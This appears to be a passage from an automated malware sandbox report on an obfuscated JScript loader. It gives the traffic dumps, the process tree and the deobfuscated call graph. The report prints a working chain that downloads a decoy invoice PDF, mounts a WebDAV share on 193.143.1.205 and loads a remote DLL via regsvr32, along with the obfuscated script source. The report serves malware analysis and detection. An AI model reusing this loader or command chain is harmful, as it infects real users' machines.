Jan 10, 2025 19:36:24.081727982 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:36:24.081736088 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:36:24.082014084 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 19:36:24.082025051 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 19:36:24.082030058 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 19:36:24.082433939 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 19:36:24.082626104 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 19:36:24.082633018 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 19:36:24.082993031 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 19:36:24.086652994 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	4192	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:36:25.413254976 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:36:26.189816952 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:36:26 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:36:19
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js"
Imagebase:	0x7ff7227a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:36:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll
Imagebase:	0x7ff6b01e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:36:20
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:36:20
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:36:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	13:36:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b01e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:36:24
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff677700000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:36:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	13:36:24
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:36:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1700,i,17282002464671500914,13658577813215400129,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	13:36:39
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lietrd() {	lietrd() ➔ undefined
1	copquqeb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var uakqywze = this[jookeypgs + befhtt + brubydvm + itsorqpe + efitluw + vqblidb + lhxsiigy + mimug] ( this[hqodhzqoa + tysmhlkog + aeagtioxd + brubydvm + vupgxuvy + jookeypgs + mimug][dztjuiz + brubydvm + efitluw + befhtt + mimug + efitluw + xhivobiv + qfviyx + eyfeei + efitluw + aeagtioxd + mimug] ( hqodhzqoa + tysmhlkog + aeagtioxd + brubydvm + vupgxuvy + jookeypgs + mimug + uyadab + tysmhlkog + bdmist + efitluw + dutwqk + dutwqk ) [dulpmydr + efitluw + awqgg + dulpmydr + efitluw + befhtt + saydygt] ( pkmwmrry + tetmdhnhl + djmop + vuxhgn + mhlua + dztjuiz + ivoalpj + dulpmydr + dulpmydr + djmop + qutparvrb + iqwdrq + mhlua + ivoalpj + tysmhlkog + djmop + dulpmydr + pgwisotxd + dztjuiz + xpeoym + lhxsiigy + mimug + brubydvm + xpeoym + dutwqk + wxyon + yfpmzoed + befhtt + lhxsiigy + efitluw + dutwqk + pgwisotxd + vqblidb + lhxsiigy + mimug + efitluw + brubydvm + lhxsiigy + befhtt + mimug + vupgxuvy + xpeoym + lhxsiigy + befhtt + dutwqk + pgwisotxd + cabqmuib + xpeoym + aeagtioxd + befhtt + dutwqk + efitluw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( icgpuqlsb = 0 ; icgpuqlsb < copquqeb[dutwqk + efitluw + lhxsiigy + awqgg + mimug + bdmist] ; ++ icgpuqlsb )
4	{
5	if ( uakqywze == copquqeb[icgpuqlsb] )
6	{
7	uakqywze = true;
8	break ;
9	}
10	}
11	if ( uakqywze !== true )
12	this[hqodhzqoa + tysmhlkog + aeagtioxd + brubydvm + vupgxuvy + jookeypgs + mimug][npkvpvzgy + xsznsa + vupgxuvy + mimug] ( );
13	this[hqodhzqoa + tysmhlkog + aeagtioxd + brubydvm + vupgxuvy + jookeypgs + mimug][dztjuiz + brubydvm + efitluw + befhtt + mimug + efitluw + xhivobiv + qfviyx + eyfeei + efitluw + aeagtioxd + mimug] ( hqodhzqoa + tysmhlkog + aeagtioxd + brubydvm + vupgxuvy + jookeypgs + mimug + uyadab + tysmhlkog + bdmist + efitluw + dutwqk + dutwqk ) [brubydvm + xsznsa + lhxsiigy] ( aeagtioxd + kwokah + saydygt + wxyon + wcgml + aeagtioxd + wxyon + jookeypgs + xpeoym + fbqzsue + efitluw + brubydvm + itsorqpe + bdmist + efitluw + dutwqk + dutwqk + uyadab + efitluw + axpcc + efitluw + wxyon + vtoqfjbdb + dztjuiz + xpeoym + kwokah + kwokah + befhtt + lhxsiigy + saydygt + wxyon + iudjgcsqi + vqblidb + lhxsiigy + rbncj + xpeoym + weepww + efitluw + vtoqfjbdb + hqodhzqoa + efitluw + qfviyx + dulpmydr + efitluw + astswrq + xsznsa + efitluw + itsorqpe + mimug + wxyon + vtoqfjbdb + xhivobiv + xsznsa + mimug + odfpw + vupgxuvy + dutwqk + efitluw + wxyon + impcxh + mimug + efitluw + kwokah + jookeypgs + impcxh + pgwisotxd + vupgxuvy + lhxsiigy + rbncj + xpeoym + vupgxuvy + aeagtioxd + efitluw + uyadab + jookeypgs + saydygt + fscutst + wxyon + bdmist + mimug + mimug + jookeypgs + tzzwwfvyu + wcgml + wcgml + cngklgkq + rrumvin + jtdalz + uyadab + cngklgkq + ehkmtvs + jtdalz + uyadab + cngklgkq + uyadab + sqttn + zgofhsok + biollm + wcgml + vupgxuvy + lhxsiigy + rbncj + xpeoym + vupgxuvy + aeagtioxd + efitluw + uyadab + jookeypgs + bdmist + jookeypgs + iudjgcsqi + rwumnob + rwumnob + itsorqpe + mimug + befhtt + brubydvm + mimug + wxyon + impcxh + mimug + efitluw + kwokah + jookeypgs + impcxh + pgwisotxd + vupgxuvy + lhxsiigy + rbncj + xpeoym + vupgxuvy + aeagtioxd + efitluw + uyadab + jookeypgs + saydygt + fscutst + rwumnob + rwumnob + aeagtioxd + kwokah + saydygt + wxyon + wcgml + aeagtioxd + wxyon + lhxsiigy + efitluw + mimug + wxyon + xsznsa + itsorqpe + efitluw + wxyon + pgwisotxd + pgwisotxd + cngklgkq + rrumvin + jtdalz + uyadab + cngklgkq + ehkmtvs + jtdalz + uyadab + cngklgkq + uyadab + sqttn + zgofhsok + biollm + wmlxhbxu + treaeidyx + treaeidyx + treaeidyx + treaeidyx + pgwisotxd + saydygt + befhtt + rbncj + fbqzsue + fbqzsue + fbqzsue + brubydvm + xpeoym + xpeoym + mimug + pgwisotxd + rwumnob + rwumnob + aeagtioxd + kwokah + saydygt + wxyon + wcgml + aeagtioxd + wxyon + brubydvm + efitluw + awqgg + itsorqpe + rbncj + brubydvm + jtdalz + sqttn + wxyon + wcgml + itsorqpe + wxyon + pgwisotxd + pgwisotxd + cngklgkq + rrumvin + jtdalz + uyadab + cngklgkq + ehkmtvs + jtdalz + uyadab + cngklgkq + uyadab + sqttn + zgofhsok + biollm + wmlxhbxu + treaeidyx + treaeidyx + treaeidyx + treaeidyx + pgwisotxd + saydygt + befhtt + rbncj + fbqzsue + fbqzsue + fbqzsue + brubydvm + xpeoym + xpeoym + mimug + pgwisotxd + jtdalz + zgofhsok + kznzw + jtdalz + ehkmtvs + cngklgkq + sqttn + zgofhsok + kznzw + zgofhsok + sqttn + kznzw + treaeidyx + zgofhsok + jtdalz + uyadab + saydygt + dutwqk + dutwqk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll",0,false) ➔ 0
14	}
15	wcgml = "S";
16	wcgml = "l";
17	wcgml = "y";
18	wcgml = "Z";
19	wcgml = "y";
20	wcgml = "q";
21	wcgml = "r";
22	wcgml = "o";
23	wcgml = "o";
24	wcgml = "W";
25	wcgml = "p";
26	wcgml = "d";
27	wcgml = "r";
28	wcgml = "v";
29	wcgml = "U";
30	wcgml = "z";
31	wcgml = "V";
32	wcgml = "t";
33	wcgml = "/";
34	tzzwwfvyu = "R";
35	tzzwwfvyu = "C";
36	tzzwwfvyu = "i";
37	tzzwwfvyu = "m";
38	tzzwwfvyu = "m";
39	tzzwwfvyu = "d";
40	tzzwwfvyu = "g";
41	tzzwwfvyu = "f";
42	tzzwwfvyu = "s";
43	tzzwwfvyu = "Q";
44	tzzwwfvyu = "J";
45	tzzwwfvyu = "Z";
46	tzzwwfvyu = "s";
47	tzzwwfvyu = "c";
48	tzzwwfvyu = "w";
49	tzzwwfvyu = "k";
50	tzzwwfvyu = "Y";
51	tzzwwfvyu = "L";
52	tzzwwfvyu = "C";
53	tzzwwfvyu = "G";
54	tzzwwfvyu = ":";
55	saydygt = "b";
56	saydygt = "g";
57	saydygt = "z";
58	saydygt = "A";
59	saydygt = "s";
60	saydygt = "h";
61	saydygt = "q";
62	saydygt = "x";
63	saydygt = "b";
64	saydygt = "S";
65	saydygt = "x";
66	saydygt = "T";
67	saydygt = "E";
68	saydygt = "q";
69	saydygt = "G";
70	saydygt = "S";
71	saydygt = "Q";
72	saydygt = "N";
73	saydygt = "A";
74	saydygt = "i";
75	saydygt = "G";
76	saydygt = "c";
77	saydygt = "D";
78	saydygt = "C";
79	saydygt = "r";
80	saydygt = "P";
81	saydygt = "v";
82	saydygt = "E";
83	saydygt = "O";
84	saydygt = "Z";
85	saydygt = "P";
86	saydygt = "h";
87	saydygt = "H";
88	saydygt = "C";
89	saydygt = "f";
90	saydygt = "m";
91	saydygt = "T";
92	saydygt = "C";
93	saydygt = "I";
94	saydygt = "I";
95	saydygt = "d";
96	tetmdhnhl = "w";
97	tetmdhnhl = "L";
98	tetmdhnhl = "k";
99	tetmdhnhl = "f";
100	tetmdhnhl = "m";
101	tetmdhnhl = "L";
102	tetmdhnhl = "K";
103	djmop = "M";
104	djmop = "m";
105	djmop = "E";
106	djmop = "n";
107	djmop = "v";
108	djmop = "i";
109	djmop = "p";
110	djmop = "u";
111	djmop = "B";
112	djmop = "k";
113	djmop = "M";
114	djmop = "T";
115	djmop = "U";
116	djmop = "K";
117	djmop = "E";
118	djmop = "E";
119	impcxh = "r";
120	impcxh = "I";
121	impcxh = "q";
122	impcxh = "y";
123	impcxh = "U";
124	impcxh = "G";
125	impcxh = "d";
126	impcxh = "D";
127	impcxh = "m";
128	impcxh = "R";
129	impcxh = "c";
130	impcxh = "F";
131	impcxh = "r";
132	impcxh = "Y";
133	impcxh = "K";
134	impcxh = "V";
135	impcxh = "R";
136	impcxh = "%";
137	jtdalz = "J";
138	jtdalz = "K";
139	jtdalz = "w";
140	jtdalz = "l";
141	jtdalz = "O";
142	jtdalz = "Y";
143	jtdalz = "U";
144	jtdalz = "c";
145	jtdalz = "L";
146	jtdalz = "s";
147	jtdalz = "z";
148	jtdalz = "N";
149	jtdalz = "d";
150	jtdalz = "g";
151	jtdalz = "h";
152	jtdalz = "K";
153	jtdalz = "W";
154	jtdalz = "m";
155	jtdalz = "A";
156	jtdalz = "M";
157	jtdalz = "G";
158	jtdalz = "g";
159	jtdalz = "L";
160	jtdalz = "K";
161	jtdalz = "S";
162	jtdalz = "N";
163	jtdalz = "Z";
164	jtdalz = "G";
165	jtdalz = "h";
166	jtdalz = "K";
167	jtdalz = "n";
168	jtdalz = "g";
169	jtdalz = "a";
170	jtdalz = "x";
171	jtdalz = "3";
172	xpeoym = "P";
173	xpeoym = "K";
174	xpeoym = "c";
175	xpeoym = "N";
176	xpeoym = "K";
177	xpeoym = "V";
178	xpeoym = "s";
179	xpeoym = "K";
180	xpeoym = "Z";
181	xpeoym = "b";
182	xpeoym = "V";
183	xpeoym = "o";
184	xpeoym = "Q";
185	xpeoym = "H";
186	xpeoym = "c";
187	xpeoym = "d";
188	xpeoym = "Y";
189	xpeoym = "O";
190	xpeoym = "N";
191	xpeoym = "k";
192	xpeoym = "T";
193	xpeoym = "v";
194	xpeoym = "g";
195	xpeoym = "S";
196	xpeoym = "P";
197	xpeoym = "Z";
198	xpeoym = "H";
199	xpeoym = "x";
200	xpeoym = "Q";
201	xpeoym = "J";
202	xpeoym = "o";
203	npkvpvzgy = "G";
204	npkvpvzgy = "c";
205	npkvpvzgy = "x";
206	npkvpvzgy = "F";
207	npkvpvzgy = "Z";
208	npkvpvzgy = "D";
209	npkvpvzgy = "Z";
210	npkvpvzgy = "l";
211	npkvpvzgy = "t";
212	npkvpvzgy = "m";
213	npkvpvzgy = "c";
214	npkvpvzgy = "c";
215	npkvpvzgy = "R";
216	npkvpvzgy = "a";
217	npkvpvzgy = "l";
218	npkvpvzgy = "r";
219	npkvpvzgy = "F";
220	npkvpvzgy = "m";
221	npkvpvzgy = "t";
222	npkvpvzgy = "j";
223	npkvpvzgy = "v";
224	npkvpvzgy = "K";
225	npkvpvzgy = "a";
226	npkvpvzgy = "k";
227	npkvpvzgy = "o";
228	npkvpvzgy = "t";
229	npkvpvzgy = "S";
230	npkvpvzgy = "a";
231	npkvpvzgy = "Q";
232	iqwdrq = "O";
233	iqwdrq = "K";
234	iqwdrq = "i";
235	iqwdrq = "u";
236	iqwdrq = "o";
237	iqwdrq = "B";
238	iqwdrq = "Q";
239	iqwdrq = "E";
240	iqwdrq = "Y";
241	iqwdrq = "G";
242	iqwdrq = "p";
243	iqwdrq = "B";
244	iqwdrq = "m";
245	iqwdrq = "Q";
246	iqwdrq = "O";
247	iqwdrq = "g";
248	iqwdrq = "V";
249	iqwdrq = "q";
250	iqwdrq = "J";
251	iqwdrq = "V";
252	iqwdrq = "T";
253	aeagtioxd = "s";
254	aeagtioxd = "j";
255	aeagtioxd = "Q";
256	aeagtioxd = "s";
257	aeagtioxd = "j";
258	aeagtioxd = "e";
259	aeagtioxd = "m";
260	aeagtioxd = "I";
261	aeagtioxd = "D";
262	aeagtioxd = "f";
263	aeagtioxd = "S";
264	aeagtioxd = "H";
265	aeagtioxd = "G";
266	aeagtioxd = "l";
267	aeagtioxd = "f";
268	aeagtioxd = "s";
269	aeagtioxd = "s";
270	aeagtioxd = "K";
271	aeagtioxd = "E";
272	aeagtioxd = "c";
273	befhtt = "U";
274	befhtt = "S";
275	befhtt = "n";
276	befhtt = "y";
277	befhtt = "r";
278	befhtt = "a";
279	befhtt = "z";
280	befhtt = "a";
281	tysmhlkog = "J";
282	tysmhlkog = "f";
283	tysmhlkog = "U";
284	tysmhlkog = "e";
285	tysmhlkog = "G";
286	tysmhlkog = "e";
287	tysmhlkog = "Z";
288	tysmhlkog = "V";
289	tysmhlkog = "m";
290	tysmhlkog = "m";
291	tysmhlkog = "J";
292	tysmhlkog = "g";
293	tysmhlkog = "Y";
294	tysmhlkog = "q";
295	tysmhlkog = "p";
296	tysmhlkog = "O";
297	tysmhlkog = "G";
298	tysmhlkog = "U";
299	tysmhlkog = "P";
300	tysmhlkog = "R";
301	tysmhlkog = "A";
302	tysmhlkog = "M";
303	tysmhlkog = "i";
304	tysmhlkog = "K";
305	tysmhlkog = "M";
306	tysmhlkog = "z";
307	tysmhlkog = "J";
308	tysmhlkog = "h";
309	tysmhlkog = "N";
310	tysmhlkog = "M";
311	tysmhlkog = "v";
312	tysmhlkog = "y";
313	tysmhlkog = "J";
314	tysmhlkog = "S";
315	rwumnob = "i";
316	rwumnob = "K";
317	rwumnob = "O";
318	rwumnob = "f";
319	rwumnob = "M";
320	rwumnob = "y";
321	rwumnob = "z";
322	rwumnob = "e";
323	rwumnob = "X";
324	rwumnob = "O";
325	rwumnob = "v";
326	rwumnob = "K";
327	rwumnob = "u";
328	rwumnob = "W";
329	rwumnob = "z";
330	rwumnob = "Q";
331	rwumnob = "B";
332	rwumnob = "Y";
333	rwumnob = "W";
334	rwumnob = "&";
335	dutwqk = "F";
336	dutwqk = "V";
337	dutwqk = "i";
338	dutwqk = "k";
339	dutwqk = "I";
340	dutwqk = "s";
341	dutwqk = "n";
342	dutwqk = "l";
343	cngklgkq = "x";
344	cngklgkq = "Y";
345	cngklgkq = "h";
346	cngklgkq = "h";
347	cngklgkq = "s";
348	cngklgkq = "p";
349	cngklgkq = "F";
350	cngklgkq = "f";
351	cngklgkq = "H";
352	cngklgkq = "E";
353	cngklgkq = "e";
354	cngklgkq = "C";
355	cngklgkq = "v";
356	cngklgkq = "E";
357	cngklgkq = "S";
358	cngklgkq = "y";
359	cngklgkq = "T";
360	cngklgkq = "A";
361	cngklgkq = "w";
362	cngklgkq = "f";
363	cngklgkq = "1";
364	weepww = "o";
365	weepww = "L";
366	weepww = "Y";
367	weepww = "q";
368	weepww = "p";
369	weepww = "X";
370	weepww = "Z";
371	weepww = "x";
372	weepww = "M";
373	weepww = "X";
374	weepww = "M";
375	weepww = "Q";
376	weepww = "o";
377	weepww = "k";
378	kznzw = "L";
379	kznzw = "N";
380	kznzw = "b";
381	kznzw = "e";
382	kznzw = "L";
383	kznzw = "F";
384	kznzw = "r";
385	kznzw = "V";
386	kznzw = "Z";
387	kznzw = "Z";
388	kznzw = "Q";
389	kznzw = "u";
390	kznzw = "E";
391	kznzw = "l";
392	kznzw = "X";
393	kznzw = "O";
394	kznzw = "X";
395	kznzw = "C";
396	kznzw = "x";
397	kznzw = "6";
398	yfpmzoed = "t";
399	yfpmzoed = "r";
400	yfpmzoed = "Y";
401	yfpmzoed = "f";
402	yfpmzoed = "p";
403	yfpmzoed = "T";
404	yfpmzoed = "L";
405	yfpmzoed = "o";
406	yfpmzoed = "D";
407	yfpmzoed = "o";
408	yfpmzoed = "X";
409	yfpmzoed = "K";
410	yfpmzoed = "s";
411	yfpmzoed = "U";
412	yfpmzoed = "m";
413	yfpmzoed = "h";
414	yfpmzoed = "m";
415	yfpmzoed = "P";
416	axpcc = "M";
417	axpcc = "G";
418	axpcc = "t";
419	axpcc = "X";
420	axpcc = "F";
421	axpcc = "T";
422	axpcc = "u";
